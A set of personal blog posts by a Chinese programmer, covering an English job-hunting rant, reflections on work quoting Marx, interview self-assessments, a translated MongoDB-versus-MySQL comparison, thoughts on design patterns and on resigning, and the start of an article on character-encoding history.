I must admit that I didn’t read the job description carefully before applying for a job. It is hard to find a good job in the current economy. Nobody will pay me for reading a JD. Reviewing and filtering the resumes are HR’s job. But a lots of HRs cannot do it properly. They don’t know what kind of people are needed for this job. They found some keywords on the CV that matched with JD and booked an interview. Anyone can do this simple work. So now I won’t accept any interview that requires me to be physically present at the office during the first interview.
I do read the JD before an interview. However, many interviewers won’t look over my CV in advance. If you want to waste both of our time, fine, fuck you🖕.
Again, although most of the teams I’ve worked with before were building AI products. I still know nothing about AI algorithms. I’m not good at maths. I have never used any algorithms in my pervious work. I can write an API. I can read RFCs. Yet I can’t build an AI model. I can’t understand a paper that contains formulas.
I am a computer programmer, not an algorithm engineer, nor a data scientist. I think the most significant difference between programmers and the others is that good programmers focus on writing elegant code. For algorithm engineers and data scientists, coding is just a tool. That doesn’t mean I don’t respect their work. In fact, many programmers, including myself, have no idea how artificial intelligence works. So I do respect their work. And I would appreciate it if they could respect mine.
Besides elegant code, programmers also need to focus on writing complex business logic. That is basically CRUD. Yeah, it’s boring. As an algorithm engineer or data scientist, you might think it’s easy. I’m not going to pretend it’s difficult. I don’t like it either. But it’s my job, please respect it. And blame the HR who booked the interview.
Please don’t tell me which framework I should learn. If you want to hire me, I will learn everything I need to know to get the work done. If you don’t want to hire me, why should I waste my time learning a framework that I may never use again. The frameworks written by my previous team are also open source projects. Are you interested in learning them?
Please don’t give me any tests that take more than an hour to complete. Hard to find a good job doesn’t mean I will work for free.
Do not question my professional abilities. Anybody who has worked with me would agree on this. Believe it or not, I only received the nine-year compulsory education. I began learning programming at a young age because I was interested in computers.
If you don’t like my style. That’s OK. Feel free to throw my resume in the trash. I seriously don’t care. And please do not give me any advice. No one likes taking advice from strangers. Remember, talk is cheap, show the code.
]]>失业半年来,我一直在想一个问题,我为什么要工作?最简单的回答是为了生存,但这显然不是一个好答案。一个显而易见的事实是,在现代社会,大多数人通过工作获取报酬,而工资也是大多数人满足自身需要的唯一手段。
所以,劳动仅仅是谋生活动吗?如果生存下去的唯一方法就是通过出卖自己的劳动,那这跟奴隶又有什么区别?
“资产者有很充分的理由给劳动加上一种超自然的创造力,因为正是从劳动所受的自然制约性中才产生出如下的情况:一个除自己的劳动力外没有任何其他财产的人,在任何社会的和文化的状态中,都不得不为占有劳动的物质条件的他人做奴隶。他只有得到他人的允许才能劳动,因而只有得到他人的允许才能生存。”(《哥达纲领批判》)
“现在且以财富正在增进的社会来说。这是对工人惟一有利的状态。这里资本家之间展开竞争。对工人的需求超过了工人的供给。但是,首先,工资的提高引起工人的过度劳动。他们越想多挣几个钱,他们就越不得不牺牲自己的时间,并且完全放弃一切自由,为贪欲而从事奴隶劳动。这就缩短了工人的寿命。工人寿命的缩短对整个工人阶级是一个有利状况,因为这样就必然会不断产生对劳动的新需求,这个阶级始终不得不牺牲自己的一部分,以避免同归于尽。”(《1844 年经济学哲学手稿》)
马克思在其手稿(《1844 年经济学哲学手稿》)中准确地描述了普通打工人对于工作的看法:“首先,劳动对工人来说是外在的东西,也就是说,不属于他的本质的东西:因此,他在自己的劳动中不是肯定自己,而是否定自己,不是感到幸福,而是感到不幸,不是自由地发挥自己的体力和智力,而是使自己的肉体受折磨、精神遭摧残。因此,工人只有在劳动之外才感到自在,而在劳动中则感到不自在,他在不劳动时觉得舒畅,而在劳动时就觉得不舒畅。因此,他的劳动不是自愿的劳动,而是被迫的强制劳动。因而,它不是满足劳动需要,而只是满足劳动需要以外的那些需要的一种手段。劳动的异化性质明显地表现在,只要肉体的强制或其它强制一停止,人们就会像逃避瘟疫那样逃避劳动。外在的劳动,人在其中使自己外化的劳动,是一种自我牺牲,自我折磨的劳动。最后,对工人来说,劳动的外在性质,就表现在这种劳动不是他自己的,而是别人的;劳动不属于他;他在劳动中也不属于他自己,而是属于别人。”
对于打工人来说,劳动不是一种自我实现,而只是为了一个强制性目标,即挣钱糊口。
作为一个个体,我没有权利选择什么时候出生、以及出生在哪里。那么我有选择如何生存的权利吗?有,但不多。
马克思和恩格斯在《德意志意识形态》里描绘了一个理想的社会:“而在共产主义社会里,任何人都没有特殊的活动范围,而是都可以在任何部门内发展,社会调节着整个生产,因而使我有可能随自己的兴趣今天干这事,明天干那事,上午打猎,下午捕鱼,傍晚从事畜牧,晚饭后从事批判,这样就不会使我老是一个猎人、渔夫、牧人或批判者。”然而,“当分工一出现之后,任何人都有自己一定的特殊的活动范围,这个范围是强加于他的,他不能超出这个范围:他是一个猎人、渔夫或牧人,或者是一个批判的批判者,只要他不想失去生活资料,他就始终应该是这样的人。”
现代社会及其复杂而又细致的专业化分工使大多数普通人无法同时在多个不同领域都能有所发展,想要“消灭分工”,使大多数人能够自由地从事不同的职业显然是不可能的。我是一个程序员,编程是我过去十年获取报酬的唯一手段,在可以预见的未来,也必然是主要手段。
作为一个程序员,我编写的代码本身不是商品,无法为别人带来使用价值。
“工人作为劳动力的出卖者和资本家进行交易时,是自己劳动力的所有者,他只能出卖他所占有的东西,出卖他个人的、单个的劳动力。这种关系,决不因为资本家购买的不是 1 个劳动力而是 100 个劳动力,或者说,他不是和 1 个工人而是和 100 个互不相干的工人签订合同,而有所变化。资本家无须让这 100 个工人协作就能使用他们。因此,他支付的是 100 个独立的劳动力的价值,而不是 100 个结合劳动力的价值。工人作为独立的人是单个的人,他们和同一资本发生关系,但是彼此不发生关系。他们的协作是在劳动过程中才开始的,但是在劳动过程中他们已经不再属于自己了。他们一进入劳动过程,便并入资本。作为协作的人,作为一个工作机体的肢体,他们本身只不过是资本的一种特殊存在方式。因此,工人作为社会工人所发挥的生产力,是资本的生产力。只要把工人置于一定的条件下,劳动的社会生产力就无须支付报酬而发挥出来,而资本正是把工人置于这样的条件之下的。因为劳动的社会生产力不费资本分文,另一方面,又因为工人在他的劳动本身属于资本以前不能发挥这种生产力,所以劳动的社会生产力好象是资本天然具有的生产力,是资本内在的生产力。”(《资本论》第一卷)
可见,不同种类的工作对于资本家来说都是无差别的,劳动本身也只是一种具有交换价值的商品。“作为交换价值,它们代表相同的、无差别的劳动,也就是没有劳动者个性的劳动。因此,生产交换价值的劳动是抽象一般的劳动。”(《政治经济学批判》)
]]>基本上对于这个问题我的回答都是在复述简历,毕竟在工作中做过什么,有什么成就,这些东西早就写在简历上了。我很想说:如果您之前没看过简历,现在可以看下;如果看过了,就可以略过这个问题,直接问简历上的内容。对于简历上的链接,也请您点开看下,可以更好地了解我参与开发过的项目。
最近几年写得最多的是 Python,再早是 PHP,前端也一直有关注。
DevOps 相关的工作一直有在做,所以 Bash 写得也挺多,另外还会写 PowerShell。
Dockerfile 也没少写,K8s 主要用云服务商提供的,没有实际部署和运维过。
国内外的公有云都有用过,也基于他们提供的 API 开发过服务。
Go、Java 可以修修 bug、写点简单的功能,开发大型项目可能需要点时间学习。
安全领域偶尔也有关注,之前分析过 Edge 应用商店里一个混淆了 JS 代码的恶意扩展,还被一些科技媒体转载。
Android 逆向也玩过,上家公司的内部系统要用 APP 生成的动态码登录,我嫌每次都要看手机太麻烦,就把 APK 解包找到了动态码的生成算法以及与服务器之间的通信逻辑,自己写了个脚本实现了自动登录。
以前沉迷 WoW 的时候还用 Lua 写过插件。
编程语言只是工具,切换语言对我来说不是一件很困难的事情。操作系统也一样,Win、Mac、Linux 无缝切换。各种软硬件自然也折腾过不少,主要是兴趣驱动,觉得好玩就研究下。
个人比较追求代码的简洁优雅,常常在重构代码上花费大量时间,研究代码量更少的写法。
用得最多的是 MySQL,基本都是 CRUD,一直在用 ORM,SQL 写得少。MongoDB 和 Redis 自然也用过。除了数据库,像 ZooKeeper、RabbitMQ 这些也用过。
说实话数据库研究得不多,一般复杂的业务逻辑都在代码里维护,数据库只是用来存取结果的。缓存用得也不多,毕竟 AI 相关的项目,其瓶颈都不在 API 上,一般都是数据量太大、计算资源不够。
不是天天在用的东西不敢往简历上写,遇到问题都是现查,细节不看代码根本不记得,不记得的东西写简历上不是减分吗。
别说没网了,离开自动补全,连标准库的 API 都记不全,根本写不出代码,更别提现在越来越依赖 GitHub Copilot 了。
工作又不是考试,遇到不会的问题就问搜索引擎,现在还可以问 AI。写代码又不是搞科研,哪有什么创新性,只要问的问题正确,就一定有解决方案。
第一次听到这问题我是十分惊讶的,还有不会翻墙的程序员?只看墙内的二手内容吗?后来工作久了,接触的同事越来越多才发现,原来还有很多码农不会翻墙,别说翻墙查资料了,连自学能力都没有。
答案当然是会,而且是重度依赖,连路由器里都装着 OpenClash,手机里自然也有,另外我翻墙的历史比我接触编程的时间还要早。
八股文我是懒得背的,问我不如问 ChatGPT,AI 绝对比人类回答得更好。算法题我也从来不刷,我认为算法题考察的是数学能力,而我对数学并不感兴趣。
知道根据业务场景选择技术方案,比正确背诵八股文要重要的多,就算不知道该用什么,去看文档不就知道了,哪个优秀的产品没有详尽的文档来介绍适用场景的。
算法可能在学校里很重要,工作中 99% 的场景是写 CRUD,各种业务代码根本用不到算法,就算用到了,还是那句话,问搜索引擎,把别人的代码变成自己的,是一个程序员的基本素养。
这个问题今年倒是没被问到过,可能今年大环境不好,应聘的人太多,面试官连 GitHub 都没时间看吧。
我懒得造轮子,别人有现成的工具我就直接用,有些功能没有或者有 bug 就提个 PR 改改,毕竟开源不就是为了让其他人也能参与开发吗。贡献过的项目实在太多、太杂,就不一一列举了,大部分都是添加个 feature 和 bugfix 之类的,列出来也没意义。
这要看您需要什么样的人了,如果是招实习生,那肯定是名校毕业,八股文背得滚瓜烂熟,算法题写得又好又快的应届毕业生适合;如果是整天写 CRUD 的螺丝钉,那一个两到三年经验的码农就够了,比我年轻,要的还比我少;如果是从零开始,搭建一套完整的服务,至少 Web 开发这块,从前后端开发到部署、运维,我都能做。
没错,我认为我适合当架构师。正如前面所说,接触编程十余年,我写过很多语言,用过很多工具。既独立设计开发过中小型项目,也参与开发过大型项目,积累了大量经验。
上家公司刚入职的时候,领导让我查个 bug,具体现象记不清了,就记得我看到某个模块配置存取的代码(各个模块的配置都是独立存取的,没有统一的代码)时,惊讶地发现有些配置是以纯文本的形式存储在文件里的,还没加锁。任务运行过程中,不断地读写同一份文件。不用想,肯定是这里了,加了个锁之后再也没出现过。后来我把这块代码全重构了,用数据库存,文件只作向后兼容,只在任务完成后写一次作备份,如果数据库里没有就读文件写入数据库。
十几万代码,入职第一周就发现并解决了一个隐藏 bug,这自然得益于多年的工作经验和大量的源码阅读。就算我背不出 ACID 的含义,也知道任何有并发可能性的地方,都要做到事务隔离。
另外我的视野非常广,一直保持着对业界动态的关注。举一个简单的例子,虽然我平常不写 Java,但我们组开发的项目里有用 Java 写的,Log4j 曝出严重漏洞后,我第一时间在组会上提醒相关的同事关注。
这两年大模型火爆,像 ChatGPT 和 Midjourney,我都有付费使用过。虽然不是做算法的,但既然工作内容都与 AI 相关,我自然也会了解下相关的技术原理,只不过数学不好,看不懂公式,只是看个大概而已。但有些搞算法的面试官,非揪着具体原理问,不知道什么意思。比如有次面试官问我联邦学习是如何通信的,不同参与方之间传递的数据是什么。实话说这块我完全没关注过,任务调度与算法组件、数据交换等都是由不同的组件负责的,我只参与开发过调度部分,其他部分只是部署使用过,并没有详细阅读过源码。
基本上一份工作干一两年就厌倦了,毕竟普通开发就是螺丝钉,只负责一小块东西,需求永远写不完,想参与点别的项目也是力不从心。像前面说的算法组件、数据交换等仓库,我也有想过去看,但每个仓库都是几十万行代码,连领导都不建议我去看。当然,还是太懒,要是我把打游戏的时间全用来阅读代码,那一定早就成为组内的核心成员,现在也不会在找工作了😂。
每次离职的原因其实都差不多,同样的活干多了,工作态度和积极性就慢慢变差,只是被动地完成工作,甚至还能拖就拖,领导不满意,主动或被动离职。不过您放心,第一年我绝对是充满干劲的,至于之后就要看环境有没有变化了。
HR 最喜欢问这种问题,每次我都想问问 HR:你喜欢上班吗?要是财务自由了,你还在这里当 HR 吗?有几个打工人喜欢上班的,我说自己太懒只是自嘲,很清楚大部分人跟我一样,不想上班、不想努力,非得在面试时想些假惺惺的借口,搞得休息跟犯罪似的。手头有钱就歇一阵,没钱就找工作,就是这么简单。
虽然互联网行业技术更新迭代非常快,但也没快到几个月就变天了。再说了,我休息又不是代表不看新闻、不写代码了。
尽管我知道今年大环境非常差,就业形势严峻,但我不会接受降薪的,哪怕是找不到工作。请 HR 不要浪费时间跟我砍价,我在上家公司的薪资就是我的底线,不接受更低的价格。
]]>关系数据库在企业级应用中使用已有数十年的历史,自从 MySQL 在 1995 年发布之后,它成为其中最受欢迎且成本较低的选择之一。然而,随着近年来数据爆炸及储存成本降低,像 MongoDB 这样的非关系数据库开始出现,以解决新型应用的需求。对于传统应用,MongoDB 同样能增强甚至是替代已有的关系数据库。
MySQL 是一个广受欢迎的关系数据库管理系统(RDBMS),由甲骨文公司开发、发行和维护,开放源代码。如同其他的关系数据库,MySQL 在表中存储数据、使用结构化查询语言(SQL)访问数据。在 MySQL 中,你需要根据需求提前定义表结构、处理在不同表中的不同字段间的关系。相关联的数据可能存储在不同表中,但可通过多表连接查询访问数据。使用这种存储方式,重复数据是最少的。
MongoDB 是由 MongoDB 公司开发的开源数据库,它使用类 JSON 文档存储数据,数据结构可变。关联信息同样存储在一起,通过 MongoDB 查询语句可快速访问。MongoDB 使用动态结构,这意味着你无需提前定义数据结构,就可以创建一条记录来存储像字段值或字段类型等信息。你可以通过新增或删除字段来改变记录(我们称之为文档)的结构。这种数据模型可以表示层次关系、存储数组或其他更复杂的数据结构。在集合中的文档无须拥有一致的字段,非规范化的数据是很常见的。MongoDB 在设计时还考虑到了高可用性和可扩展性,包括开箱即用的复制和自动分片。
MySQL 的许多概念在 MongoDB 中都有类似的,下表列出了一些常见的概念。
MySQL | MongoDB |
---|---|
Table 表 | Collection 集合 |
Row 行 | Document 文档 |
Column 列 | Field 字段 |
Joins 连接 | Embedded documents, linking 内嵌文档,连接 |
如 MySQL 一样,MongoDB 提供了丰富的特性和功能,远远超出了简单的键值存储所能提供的。MongoDB 拥有查询语言、高度实用的二级索引(包括文本搜索和空间数据)、用于数据分析的强大聚合框架等功能。通过使用 MongoDB 的这些功能,你可以访问更多不同的数据类型和更大规模的数据。
MySQL | MongoDB | |
---|---|---|
丰富的数据模型 | 无 | 有 |
可变的数据结构 | 无 | 有 |
强类型数据 | 有 | 有 |
局部数据 | 无 | 有 |
字段更新 | 有 | 有 |
易编程 | 无 | 有 |
复杂的事务 | 有 | 无 |
操作审计 | 有 | 有 |
自动分片 | 无 | 有 |
MySQL 和 MongoDB 都有丰富的查询语言,一份详细的列表可在 MongoDB 文档中找到。
MySQL | MonogDB |
---|---|
INSERT INTO users (user_id, age, status) VALUES ('bcd001', 45, 'A') | db.users.insert({user_id: 'bcd001', age: 45, status: 'A'}) |
SELECT * FROM users | db.users.find() |
UPDATE users SET status = 'C' WHERE age > 25 | db.users.update({ age: { $gt: 25 } }, { $set: { status: 'C' } }, { multi: true }) |
使用 MongoDB 可以更快得构建应用,处理多种多样的数据类型,更高效的管理大规模应用,不同规模的企业都可以使用 MongoDB。
MongoDB 文档映射很接近现代的、面向对象的编程语言,开发很简便。使用 MongoDB,可以省去在代码中使用复杂的对象关系映射(ORM)层来转换对象与相关的表。
MongoDB 灵活的数据模型意味着你可以根据业务发展的需要修改数据结构。例如,The Weather Channel 花费了数周修改 MySQL 的数据库结构,如果使用 MongoDB 则只需花费几小时。
MongoDB 还支持在多个分布式数据中心间伸缩,提供高可用性和可扩展性,像 MySQL 这样的关系数据库无法做到。当数据量和吞吐量增长时,MongoDB 无须停机即可轻松扩展,也不需要修改程序。相较之下,扩展 MySQL 则需要更多自定义工作。百度从 MySQL 迁移到 MongoDB 以支持快速增长的业务,作为中国互联网服务的巨头,其使用 MongoDB 集群管理超过 1PB 的数据,为 100 多个应用提供服务。
MongoDB 作为一个通用数据库,可以用于各种场景,最常见的场景包括单页面应用、物联网、移动应用、实时数据分析、个性化服务、产品目录和内容管理等。
虽然现代应用需要像 MongoDB 这样灵活的、可伸缩的系统,但仍有很多场景需要像 MySQL 这样的关系数据库。比如,需要复杂的事务、多行查找的应用(如复式簿记系统)就是一个很好的列子。MongoDB 无法简单替代在关系数据模型和 SQL 上构建的传统应用。
一个具体的例子是运行在旅行预订系统后的订单引擎,这通常涉及到复杂的交易。虽然核心预订系统可以运行在 MySQL 上,但与用户紧密相关的部分——内容提供、社交网络、会话管理最好放在 MongoDB 中。
有很多在开发中同时使用 MongoDB 和 MySQL 的例子。在一些情况下,在工作中选择一个正确的工具是非常重要的。比如,许多电子商务应用混合使用 MongoDB 和 MySQL。而拥有很多不同属性产品的产品目录,MongoDB 的灵活数据模型更加适合。另一方面,像结单系统这样拥有复杂事务的系统,最好使用 MySQL 或其他关系数据库。
在其他情况下,新的业务要求企业使用 MongoDB 作为他们应用的下一代组件。例如,世界领先的交易管理软件和服务提供商之一——Sage 集团,把 MongoDB 集成进其广受中型公司欢迎的企业资源计划(ERP)解决方案中。Sage 的客户现在能享有功能齐备且高度可定制化的服务。尽管许多 Sage 的产品构建于 MySQL 之上且仍在 MySQL 上运行,但围绕用户体验的新功能是运行在 MongoDB 之上的。
除了这些少数例外,我们相信 MongoDB 是一个比 MySQL 更好的选择,因为 MongoDB有灵活的数据模型和可扩展的架构。
关系数据库有许多限制,因为它们是为运行现今的应用而开发的,再加上数据和用户的增长,已无法满足需求。为了应对这些挑战,像音乐电视网和思科这样的公司,已经成功从关系数据库迁移到了 MongoDB。在这本白皮书中,你可以了解到:
译后感:译完才发现,我又找回了当年翻译 meteor 时的感觉——理解不能……算了,都写完了,就这样吧……
]]>关于设计模式,已经有各种专业书籍和文章了,我就不在这里献丑了,只谈谈对于“什么时候应该学习设计模式”的看法。
初学编程你根本不需要知道什么设计模式,甚至连 OOP 是什么都不需要知道,写个 hello world 都要了解什么是设计模式,简直是本末倒置。作为程序员,你当然需要知道什么是设计模式,但是当你连怎么写一个通用框架都不知道的时候,甚至是连没有隐藏 bug 的代码都写不出来的时候,又何必去背诵设计模式的定义呢?当你已经用过各种主流框架,看过其代码,即便是不知道什么是设计模式,一个框架运行原理也能大致清楚的时候,才应该去学习设计模式,因为这时候,你已经不需要去背各种设计模式的定义,也能写出符合某一设计模式的代码了。多写、多读代码是学习设计模式的最好方式了。
因为刚接触编程的时候在数据类型上吃过亏,年初去华大基因给冬令营的学生讲 Python 的时候,写完 hello world 我就跟学生讲起了 Python 的数据类型,然而台下的学生并没有什么兴趣,最后我发现我竟然走了应试教育的老路,写个 hello world 需要知道什么是数据类型吗?写个 hello world 需要用到类型转换吗?学习编程,最好的方式是“站在巨人的肩膀上”,先去抄个 hello world,然后改改别人的代码,再造几个轮子,慢慢地你就能靠编程吃饭了。当然理论和算法也很重要,但回过头来再补也无妨。
我个人不喜欢用很重的框架,这些框架是能极大得提高开发效率,比如 Django 自带一个管理后台,直接调用就能省去写后台的麻烦,但这些框架也带来了一些我不需要的功能,限制了我写代码的方式。所以在个人项目中,我更喜欢用一些很轻的框架,自己实现想要的功能,也能提高自己的设计能力。当然在工作中我不会这么做,毕竟完成工作任务永远是第一位的。
虽然我是野生码农,但也写了三年代码,一般需求已经不需要想怎么去构建代码了。对于复杂的逻辑,如果一时想不出更优雅的实现方式,我会先完成需求,然后过一段时间再来看,说不定就有好方法了(也说不定需求改了或者 PM 把功能砍了 :P)。大部分时候,重构代码并不能提升程序运行速度、提高用户体验,反而容易出现新的 bug。但是作为程序员,重构代码使其更优雅是职业素养,无关用户体验。
前些日子我花时间简单研究了一下编码问题,其实大部分时候你根本无需关心 ASCII 跟 Unicode 有什么区别,只知道用 UTF-8 就好了,只有真的遇到编码问题的时候才需要去了解它。我碰到几家公司笔试或面试时问 HTTP status code,但估计我说 RFC 2616(现已被 RFC 7230——RFC 7237 替换),大部分出题的估计都不知道是啥。人人都有不了解的知识,像我面试时如果扯什么(非)对称加密、编码问题,甚至是生信相关(当然我不敢在生物专业的人面前扯,生信领域我也是半吊子)的话题,大部分面试官也只能点头,但我会尽量避免扯这些东西,因为公司招我是来干活、解决问题的,在工作不相关的领域有多深入又有何意义呢?所以面试时我尽量实话实说,问啥答啥,说些跟工作内容有关的东西。面试不过短短几十分钟的时间,很难全面地了解一个人的技术水平,所以“Talk is cheap. Show me the code.”。
]]>前两天在 V2EX 发了一求职帖,没啥效果,有人说我简历没有写清楚“做过什么”。说实话,我真不会写简历,没做过什么牛逼的事情,吹逼也不会,写详细了又担心泄漏公司业务(后来发现其实根本没人关心)。那我这两年在究竟工作中做了什么?总结一下,四个字——CRUD,写各种业务逻辑、实现各种需求罢了。要是能参与到项目中去倒也无妨,可经常是设计稿都出来了,我才知道这个项目,最后变成看原型图和设计稿写代码,毫无成就感。当然,这也跟我没有积极主动地去参与有关。
最初学编程仅仅是出于对计算机的热爱,那时候也不懂什么互联网,只觉得搞个网站挺酷的,便自己搭了一个博客,还邀请同学一块写。从来没想过赚钱,更没想过以此谋生。幸而遇到现任老板,几封邮件便把我招至深圳。虽感谢知遇之恩,但也发现公司有很多问题。离职的想法,其实在公司转型之初就有了,不然也不会去面试。当时对于基因检测这个行业毫无概念,再加上刚工作有了点闲钱,便想涨工资,以买更多以前学生时代买不起的东西。只是当时眼高手低,准备不足,并没有找到一份好工作。
说来惭愧,从接触编程到现在,四年有余,竟从未独立写过一个功能完备的网站。至于原因,一是不想造个简单的轮子,二是懒。这两年用过很多框架,可框架终究只是个工具,说白了,人搞出来的东西,没几年就过时了。像我以前认真研究过 init scripts 的写法,还写了一些脚本分享。可自从各大发行版换用 systemd 以后,别说 init scripts,就连 shell 我都没怎么写过。靠着一两个热门的框架,短期内是能找到一份好工作,可互联网日新月异,早晚会被淘汰,这也是我为什么不喜欢在简历上写我熟悉哪些框架的原因。
那什么不会过时呢?基础理论知识、算法、快速解决问题的能力、对未知事物的好奇心,可惜这两年光顾着鼓捣各种工具和框架了,忽视了理论和算法的学习。其实我并不太喜欢运维工作,日常运维不过是用各种工具而已,全靠经验积累,很难系统学习,不同发行版、不同系统或软件版本上的运维工作都有所不同,只是平常要折腾自己的服务器,才有所了解。其实算法我也不是一点也不会,只是平常写得少,也都是基础的算法,面试的时候要求手写就尴尬了。理论知识也是如此,不可能一点概念都没有,但真要问起,只能说个大概。
最近一年越来越觉得工作没劲,一方面参与不到公司的项目中去,另一方面日常工作又很难接触到新技术,工资涨幅也不能令我满意。如果即不能做想做的事,也不能在技术上有什么突破、创新,还挣不到钱的话,那还不如回家种地。(哎,咋又忘了我家没地呢……)中秋假期前,老板的一句玩笑话,使我意识到不能再这样下去了。提出离职后,老板极力挽留,这是让我不曾想到的。虽然老板承诺加薪,但是经过再三考虑,我觉得,对于做喜欢的事还是做赚钱的事,我更愿意选择前者,所以就有了 V 站的帖子。
在博客中写一些个人感悟,不是为了给谁看,也不是为了博取同情,仅仅是想把一些想法记录下来,就像日记一样。至于有没有人看,看完有何评价,倒是无所谓了。罢了,写这么多反正也没卵用,我还是去改简历吧。
]]>
前段时间整理散落在各处博文图片,有几个中文文件名的图片要上传,便像平常一样,用 Sublime SFTP 插件直接上传,没想到直接报错了。
我十分确定服务器上使用的编码是 UTF-8,配置文件也没有错,那到底是什么原因呢,只有看代码了。由于这个插件不开源,只好使用反编译工具 uncompyle6。
debug 过程省略……
最终我找到了引发 bug 的代码,为了方便说明,有修改。
1 |
|
经过测试,无论是使用 chcp 65001
还是 set PYTHONIOENCODING=UTF-8
,locale.getpreferredencoding()
始终返回 cp936
……
所以,整理一下,最终出现问题的就是这段了:
1 |
|
为什么使用 UTF-8 编码后的文件名再用 CP 936 解码会出错呢?本文就来简单介绍下字符编码的奥秘及其发展简史。
有计算机基础的人可能都知道,文本以二进制形式在计算机中存储和通过通信网络传播的。那怎么把人类可读的文字,转换成机器可以存储和识别的信息呢,于是就有了字符编码。
字符(character)是一段文字的最小单位,它可能是汉字、阿拉伯数字、英文字母、日语假名、标点符号或其他有意义的内容。
字符集(character set)是许多字符的集合,它可能只包含一种语言(比如 ASCII),也可能包含多种语言(比如 Unicode)。
字符编码(character encoding)就是定义和实现把这些字符集的编码成二进制的方式。
很多字符集也定义了对这些字符的编码方案,比如 GB 2112,所以导致有些时候往往将两者混用,对于包含字符有限的简单字符集(一个字符只占用一字节)来说,也没有区分的必要。
提到字符编码,就不得不说 ASCII(American Standard Code for Information Interchange,美国信息交换标准代码)。
受电报代码(摩尔斯电码是其中最著名的)的启发,ANSI(American National Standards Institute,美国国家标准学会)的前身——ASA(American Standards Association,美国标准协会)在 1963 年发布了用于计算机及其他通信设备的字符编码标准—— ASCII 的第一版 ASA X3.4-1963。
后来,USASI(United States of America Standards Institute,美利坚合众国标准组织,由 ASA 重组而来)在 1967 年做了一次大更新(主要是控制字符),版本为 USAS X3.4-1967。
ASCII 的最后一次更新是在 1986 年,由 ANSI 发布了 ANSI INCITS 4-1986 (R2012)。
ASCII 编码速见表,来自于一台 1972 年生产的打印机附带的手册
ASCII 是一个典型的简单字符集,只定义了 128 个字符,其中还有 33 个无法显示的控制字符,且大都早已弃用。所以,ASCII 只能用于显示现代英语中的 26 个字母、阿拉伯数字和部分标点符号,但它依旧是影响最深远的字符编码,至今大部分字符编码仍向下兼容 ASCII。
ISO(International Organization for Standardization,国际标准化组织)大家都知道,负责制定全世界工商业国际标准的机构,它联合 IEC(International Electrotechnical Commission, 国际电工委员会)制定了一系列字符集/编码标准。
其中最著名的是 ISO/IEC 8859 系列标准(15 个各语言的字符集),在 ASCII 的基础上,(最多)加入 96 个字符,使其能支持当地语言(主要是欧洲)的显示。
15 个 ISO/IEC 8859 字符集
ISO/IEC 8859 这种给每种语言单独做一套字符集的做法显然不利于国际化,而且与像英语这种由数量有限的字母所组成的音素文字不同,汉语这种语素文字仅常用字就有数千字,简单字符集无法满足。
于是,ISO/IEC 10646,或称 UCS(Universal Coded Character Set,通用字符集)就应运而生。如今,ISO/IEC 8859 不再更新,曾经负责此标准开发的工作组已转而致力于 ISO/IEC 10646 的开发。由于现时的 UCS 与 Unicode 已无太大区别,这里不做过多介绍。
ISO/IEC 8859 和 ISO/IEC 10646 都是字符集,而非编码。由于前者是简单字符集,不需要特殊处理,所以一些软件直接使用 ISO/IEC 8859-X 作为字符编码的名字。另外,也没有单独实现后者的编码,曾经的 UCS-2(for 2-byte Universal Character Set)已被 UTF-16 所取代。
当 ISO/IEC 在制定 UCS 的时候,由 Xerox、Apple 等软件制造商于 1988 年组成的统一码联盟(The Unicode Consortium)也在致力于开发一个单一字符集,即 Unicode。1991年前后,两个项目的参与者都认识到,世界不需要两个不兼容的字符集。于是,它们开始合并双方的工作成果,并为创立一个单一字符集而协同工作。
现时,两个项目仍都独立存在,并独立地公布各自的标准。但双方都同意保持两种标准的兼容性,并紧密地共同调整任何未来的扩展。
如今的 Unicode 字符集大致等同于 ISO/IEC 10646,比如 ISO/IEC 10646:2014 plus Amendments 1 and 2,除缺少 Adlam、Newa(均为文字)、日本电视符号和 74 个 emoji 表情外,跟 Unicode 9.0 完全一致。
统一码联盟是一个非营利机构,任何公司、机构或个人只要交保护费会费就能加入。
Unicode 会员
虽然理论上,Unicode 可以从 U+0000 一直定义到 U+FFFFFF(16,777,215 + 1),但是根据 RFC 3629, 只有 U+0000 到 U+10FFFF(1,114,111 + 1)才是可定义的。当然,这些已定义的 code points 还有很多是未赋值的。
尽管 UCS / Unicode 拥有超过一百万个 code points,但在 2000 年之前,大多数系统和软件仍然只支持前 65,536 个 code points,即 BMP(Basic Multilingual Plane,基本多文种平面,U+0000 至 U+FFFF)。直到 2006 年,同样包含一百多万个 code points 的 GB 18030 开始实施,强制要求所有在中国境内发售或使用的所有软件都要支持,这种状况才被改变。
BMP map
Unicode 只是一套字符集,对其编码的实现则称为 UTF(Unicode Transformation Format,Unicode 转换格式)。使用最广泛的 UTF 是 UTF-8(8-bit Unicode Transformation Format)。
UTF-8 使用可变长度的编码,支持一到六字节,128 个 ASCII 字符编码后只占用一字节,汉字大都占用三字节,靠后的字符占用字节要比靠前的多。这样做有什么好处呢?举个简单的例子。
比如要存储小写字母 a,使用 UTF-16 来存储要占用两字节(UTF-16 BE: 00000000 01100001
UTF-16 LE: 01100001 00000000
),且总会有一个字节始终为 0x00,这显然很浪费,而用 UTF-8 来存储就只需占用一字节(01100001
)。如果只是存储或传输类似一封以现代英语写成的信件的话,UTF-8 就比其他 UTF 更高效。但如果是极少使用的、位于 U+10000 至 U+10FFFF 的字符,使用 UTF-8 编码后就要占用四字节了。
另一种 UTF——UTF-16 还涉及到字节序(Endianness)的问题,即把最低有效位放在最高有效位的前面——小端序(little-endian,LE),还是把最低有效位放在最高有效位的后面——大端序(big-endian,BE)。
“endian”一词来源于乔纳森·斯威夫特的小说《格列佛游记》。小说中,小人国为水煮蛋该从大的一端(Big-End)剥开还是小的一端(Little-End)剥开而争论,争论的双方分别被称为“大端派”和“小端派”。
我下面要告诉你的是,Lilliput 和 Blefuscu 这两大强国在过去36个月里一直在苦战。战争开始是由于以下的原因:我们大家都认为,吃鸡蛋前,原始的方法是打破鸡蛋较大的一端,可是当今皇帝的祖父小时候吃鸡蛋,一次按古法打鸡蛋时碰巧将一个手指弄破了。因此他的父亲,当时的皇帝,就下了一道敕令,命令全体臣民吃鸡蛋时打破鸡蛋较小的一端,违令者重罚。老百姓们对这项命令极其反感。历史告诉我们,由此曾经发生过 6 次叛乱,其中一个皇帝送了命,另一个丢了王位。这些叛乱大多都是由 Blefuscu 的国王大臣们煽动起来的。叛乱平息后,流亡的人总是逃到那个帝国去寻求避难。据估计,先后几次有 11000 人情愿受死也不肯去打破鸡蛋较小的一端。关于这一争端,曾出版过几百本大部著作,不过大端派的书一直是受禁的,法律也规定该派任何人不得做官。
